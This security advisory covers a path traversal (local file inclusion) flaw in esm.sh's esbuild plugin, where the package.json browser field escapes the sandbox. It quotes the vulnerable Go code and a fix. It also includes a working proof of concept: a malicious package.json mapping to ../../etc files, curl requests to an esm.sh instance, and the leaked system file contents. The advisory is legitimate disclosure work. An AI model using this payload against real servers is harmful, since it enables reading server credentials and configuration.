PT-2026-40543 · Go · Github.Com/Esm-Dev/Esm.Sh

Published 2026-05-12 · Updated 2026-05-12 · CVE-2026-44594

OSV

CVSS v3.1

7.5

High

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Details

The vulnerable code is in the OnResolve callback of the esbuild plugin:

https://github.com/esm-dev/esm.sh/blob/main/server/build.go

The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.

// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
  return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
	if path, ok := pkgJson.Browser[modulePath]; ok {
		if path == "" {
			return esbuild.OnResolveResult{
				Path:   args.Path,
				Namespace: "browser-exclude",
			}, nil
		}
		if !isRelPathSpecifier(path) {
			externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
			if err != nil {
				return esbuild.OnResolveResult{}, err
			}
			return esbuild.OnResolveResult{
				Path:    externalPath,
				SideEffects: sideEffects,
				External:  true,
			}, nil
		}
		modulePath = path
	}
}


// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check

File contents appear in both the bundled JS output and the source map sourcesContent array.

Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).

Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.

PoC

The test package is published at https://www.npmjs.com/package/chess-sec-utils1

package.json:

{
 "name": "chess-sec-utils1",
 "version": "1.0.6",
 "main": "index.js",
 "type": "module",
 "browser": {
  "./d1.txt": "../../../../../../../../etc/hostname",
  "./d2.json": "../../../../../../../../etc/os-release",
  "./d3.json": "../../../../../../../../etc/environment"
 }
}

index.js:

import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }

npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"

Server file contents in source map response:

{
 "sourcesContent": [
  "ideapad
",
  "PRETTY NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION CODENAME=jammy
ID=ubuntu
ID LIKE=debian
HOME URL="https://www.ubuntu.com/"
SUPPORT URL="https://help.ubuntu.com/"
BUG REPORT URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY POLICY URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU CODENAME=jammy
",
  "PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
",
  "import d1 from "./d1.txt"..."
 ]
}

Impact

An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.

Fix

Add a path validation check after the browser field remapping:

filename = path.Join(ctx.wd, "node modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
  return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}

Credit

Svyatoslav Berestovsky of Metascan

Fix

Path traversal

Weakness Enumeration

CWE-22

Related Identifiers

CVE-2026-44594

GHSA-RG65-45M7-HQ57

Affected Products

Github.Com/Esm-Dev/Esm.Sh

References · 4

• https://osv.dev/vulnerability/GHSA-rg65-45m7-hq57 · Vendor Advisory
• https://github.com/esm-dev/esm.sh · Note
• https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57 · Note
• https://github.com/esm-dev/esm.sh/releases/tag/v137 · Note